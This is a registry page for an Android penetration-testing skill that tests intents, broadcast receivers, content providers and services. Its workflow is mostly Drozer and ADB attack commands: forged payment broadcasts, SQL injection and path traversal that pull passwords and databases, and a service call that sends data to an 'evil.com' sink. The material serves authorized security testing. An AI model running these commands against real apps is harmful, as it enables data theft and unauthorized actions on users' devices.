testing-android-intents-for-vulnerabilities
Tests Android inter-process communication (IPC) through intents for
v1.0.03 installs+3 in 7 days36.3K StarsApache-2.0synced 12 hours ago
Install
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$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install mukul975/testing-android-intents-for-vulnerabilitiesWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Package27f0a006…7510ecfa
27f0a00647b3…75347510ecfa8 files · 11.4 KBScanMedium3 findings
- Executable script shipped with the skillscripts/agent.py
- Executable script shipped with the skillscripts/process.py
- Links to outside domains
Sourcegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/testing-android-intents-for-vulnerabilities@54a7988
On this page
When to Use
Use this skill when:
- Assessing Android app exported activities, services, receivers, and content providers
- Testing for intent injection and unauthorized component invocation
- Evaluating broadcast receiver security for sensitive data exposure
- Performing IPC-focused penetration testing on Android applications
Do not use on production devices without explicit authorization.
Prerequisites
- Rooted Android device or emulator with ADB
- Drozer agent installed on target device (
drozer agent.apk) - Drozer console on host (
pip install drozer) - Target APK decompiled with apktool for AndroidManifest.xml analysis
- Frida for runtime intent monitoring
Workflow
Step 1: Enumerate Exported Components
# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app
# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported
# List exported activities
run app.activity.info -a com.target.app
# List exported services
run app.service.info -a com.target.app
# List exported receivers
run app.broadcast.info -a com.target.app
# List content providers
run app.provider.info -a com.target.appStep 2: Test Exported Activities
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity
# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
--extra string user_id 1337
# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
-d "content://com.target.app/users/admin" com.target.app
# If admin activity opens without auth, report as authorization bypassStep 3: Test Broadcast Receivers
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
--extra string amount "0.01" --extra string recipient "attacker"
# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN
# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
--es email "[email protected]"Step 4: Test Content Providers
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"
# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
--selection "1=1) UNION SELECT username,password FROM users--"
# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.appStep 5: Test Pending Intent Vulnerabilities
// Monitor PendingIntent creation via Frida
Java.perform(function() {
var PendingIntent = Java.use("android.app.PendingIntent");
PendingIntent.getActivity.overload("android.content.Context", "int",
"android.content.Intent", "int").implementation =
function(context, requestCode, intent, flags) {
console.log("[PendingIntent] getActivity:");
console.log(" Intent: " + intent.toString());
console.log(" Flags: " + flags);
// Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
var FLAG_MUTABLE = 0x02000000;
if ((flags & FLAG_MUTABLE) !== 0) {
console.log(" [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
}
return this.getActivity(context, requestCode, intent, flags);
};
});Step 6: Test Service Binding
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService \
--msg 1 0 0 --extra string command "dump_database" --bundle-as-objKey Concepts
| Term | Definition |
|---|---|
| Exported Component | Android component (activity/service/receiver/provider) accessible to other apps on the device |
| Intent | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) |
| Pending Intent | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients |
| Content Provider | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized |
| Broadcast Receiver | Component receiving system or app broadcasts; exported receivers can be triggered by any app |
Tools & Systems
- Drozer: Android security assessment framework for IPC testing with pre-built modules
- ADB: Command-line tool for invoking intents, starting activities, and sending broadcasts
- Frida: Runtime monitoring of intent handling and PendingIntent creation
- apktool: APK decompilation for AndroidManifest.xml analysis of component export status
- Intent Fuzzer: Automated tool for fuzzing intent parameters across exported components
Common Pitfalls
- android:exported default changed in API 31: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.
- Permission-protected components: An exported component may still require a permission. Test with and without the required permission.
- Implicit intents vs explicit: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.
- Custom permissions: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.
Files in this version
assets/1768 B
- template.md768 B
references/33.8 KB
- api-reference.md1.8 KB
- standards.md1022 B
- workflows.md992 B
scripts/214.1 KB
- agent.py6.7 KB
- process.py7.4 KB
- LICENSE11.0 KB
- SKILL.md6.9 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | No | No |
| Writes files | No | No |
| Runs shell commands | Yes | Yes |
| Uses the network | Yes | Yes |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
- MediumFile · Executable script shipped with the skillscripts/agent.py
- MediumFile · Executable script shipped with the skillscripts/process.py
- InfoLink · Links to outside domains
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v1.0.0 | Nov 13, 2026 | 54a7988 | 27f0a006 | Signed | – |
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